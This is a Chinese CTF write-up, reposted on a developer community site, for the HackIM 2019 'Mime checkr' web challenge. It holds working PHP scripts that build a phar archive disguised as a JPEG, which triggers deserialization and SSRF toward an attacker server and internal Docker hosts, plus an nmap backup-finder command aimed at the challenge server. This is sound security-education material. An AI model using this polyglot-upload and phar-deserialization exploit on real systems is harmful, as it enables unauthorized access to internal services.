前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HackIM 2019-Mime checkr

HackIM 2019-Mime checkr

作者头像
安恒网络空间安全讲武堂
发布2019-09-29 14:17:22
6820
发布2019-09-29 14:17:22
举报
来呀!来呀!关注我吧!!

原文地址:http://www.mohamed-chamli.me/blog/hackim%202019/Mimecheckr

前言

大家好,这次我挑战了Nullcon HackIM 2019,这真的是一个令人惊叹的CTF比赛,所有的web题目都有一些比较难的新技术,需要更多的知识来破解它。

无论如何,我们尽了我们最大的努力去完成所有的WEB题目,虽然没有完成最后一道题,但是我们尽力了。

所以让我们开始讲解这道500分题目 mime checkr的解题思路。

信息搜集

当你拿到一个WEB题目的时候,首先想到的应该总是做一下信息搜集(爆破网站的目录和文件&端口扫描)

所以我快速启动dirsearch来检查目录和隐藏文件,但是没有结果,我们所知道的是有两个文件 /upload.php& /getmime.php以及我们上传文件的文件夹 /uploads

让我们看看我们能在这里做什么

  • 1、可以上传文件"只可以是图片",并且我们能够获得一个random_name.jpeg 例如:0e98960a815d51af41f10ab6f4642753.jpeg
  • 2、可以通过发送文件的路径例如:uploads/0e98960a815d51af41f10ab6f4642753.jpeg来检查文件的mime type。

这时候我们知道代码中应该有一些被忽略的东西能够攻破这个应用。

目前我们能做什么,我们能够通过添加简单的图片文件头(jpg / gif ..)来绕过验证下载图片,并上传我们我们想要的php代码。但我们仍然不能控制文件后缀名以至于不会给我们任何结果。

因此,如果我们在任何文件的文件头添加 GIF89a;并且内容是php代码,我们会得到下载的文件。

但是正如我们所说的,在我们能够控制 php5.3.4上修复的扩展类型(不能利用空字节注入)之前,这是不可能的。

我们找不到解决办法并且只有三个小时的时间来完成这个糟糕的任务!

得到关键源码

在那一刻我们开始重新寻找隐藏文件!用http-backup-finder脚本启动nmap,也许我们可以得到一些东西(希望如此)。

代码语言:javascript
复制
using : nmap --script=http-backup-finder 159.65.158.100

是的,我们得到了一些东西 :D,那里有备份文件 /getmime.bak ,我们真的错过了这个文件。

让我们继续!没有更多的时间了,我们需要利用它。

代码语言:javascript
复制
<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');

class CurlClass{
    public function httpGet($url) {
    $ch = curl_init();  

    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
//  curl_setopt($ch,CURLOPT_HEADER, false); 

    $output=curl_exec($ch);

    curl_close($ch);
    return $output;
 }
}


class MainClass {

    public function __destruct() {
        $this->why =new CurlClass;
        echo $this->url;
        echo $this->why->httpGet($this->url);
    }
}


getimagesize("phar://test.jpg");


?>

OK,我们从这里继续! 现在没什么奇怪的,因为我们不能控制 httpGet,我们无法在那里利用SSRF!但是在BlackHat 2018活动中,@snt & @orange8361 提出了一种利用phar文件触发反序列化的技术。(点击这里:https://www.youtube.com/watch?v=PqsudKzs79c)

phar反序列化

因此,即使没有反序列化操作,使用这个技术我们也可以实现反序列化漏洞。 使用下面简单的代码意味着我们可以使用非实例化类来设置phar文件的元数据。

代码语言:javascript
复制
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("<?php __HALT_COMPILER(); ? >");

class MainClass {}
$object = new MainClass;
$object->url = 'http://my_server_ip';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

我们创建了phar文件,这意味着如果我们可以做到 getimagesize('phar://some/phar.jpg');,那么我们就可以触发 __destruct方法。 (是的,我们可以这样做,因为源代码使用getimagesize来检查文件的mime类型)。

getmime.php中有 MainClass调用 httpget($url),这意味着如果我们可以调用 __destruct,我们就能够控制 httpGet()。 是的,我们已经可以用SSRF来攻击它了!

让我们现在开始破解它吧,但是等一下,我们需要一个有效的phar文件,这意味着我们必须将phar隐藏为一个图片。

代码语言:javascript
复制
<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

class MainClass {}
$object = new MainClass;
$object->url = 'http://my_server_ip';
$phar->setMetadata($object);
$phar->stopBuffering();

rename("test.phar","fake_iamge.jpg");
?>

是的,如果我们在本地进行测试,它是有效的

它同时是一个有效的图片文件和phar文件。第一步已经完成了。 下一步,需要收集内网信息,管理员已经说过它是一个容器(Docker)。

内网探测

所以需要检查docker默认子网,并看看那里是否有隐藏的应用! 在安装docker时,默认情况下,它将创建一个桥接接口docker0,其中包含一个用于容器网络的子网172.17.0.0/16

意味着某一个地址会给我们返回一些结果。 以http://172.17.0.1作为url开始测试

代码语言:javascript
复制
<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

class MainClass {}
$object = new MainClass;
$object->url = 'http://172.17.0.1';
$phar->setMetadata($object);
$phar->stopBuffering();

rename("test.phar","fake_iamge.jpg");
?>

对Mime检查post数据 phar://uploads/file_name.jpeg 给我们返回了同样的web应用。

所以 172.17.0.1 == web题目,需要挖掘更多并找到一些别的东西。 172.17.0.2给了我们下一步的新提示 Change url :

代码语言:javascript
复制
$object->url = 'http://172.17.0.2';

返回给了我们一些东西不可打印的东西,使用代码页面的字符集,浏览器无法把它渲染回来。

代码语言:javascript
复制
File is not an image. http://172.17.0.2b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'

爆破字符集

我们需要爆破所有可能的字符集并获得结果,我们使用CPXXX编码字符集获得了一些清楚的文本。

看起来像是 Hello/fetch~’string-garbage’me。 所以这里我们只需要尝试使用其中一个结果(编码的数据)并再次发送SSRF请求 让我们试试CP1047 Hello/fetch~%[]^@)(me,URL编码为 /%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28(否则服务器会告诉我们这是一个错误的请求)。

代码语言:javascript
复制
<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
class MainClass {}
$object = new MainClass;
$object->url = 'http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28';
$phar->setMetadata($object);
$phar->stopBuffering();


rename("test.phar","fake_image.jpeg");
?>

我们得到了一个结果

代码语言:javascript
复制
File is not an image. http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28b'\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'

所以我们最后一步是使用 CP1047解码 '\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'

代码语言:javascript
复制
import ebcdic
url = '\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'.decode("cp1047")
print url

Yesss,我们得到了flag。

代码语言:javascript
复制
Flag{PHP_Streams_are_t00_MainStream0}

后记

真的是一个很好的题目,在完成它的不同步骤中,最后一步对我们来说真的很奇怪。 顺便说一句,这个任务只有4个团队才能解决,很高兴我们的团队是其中之一。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 信息搜集
  • 得到关键源码
  • phar反序列化
  • 内网探测
  • 爆破字符集
  • 后记
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档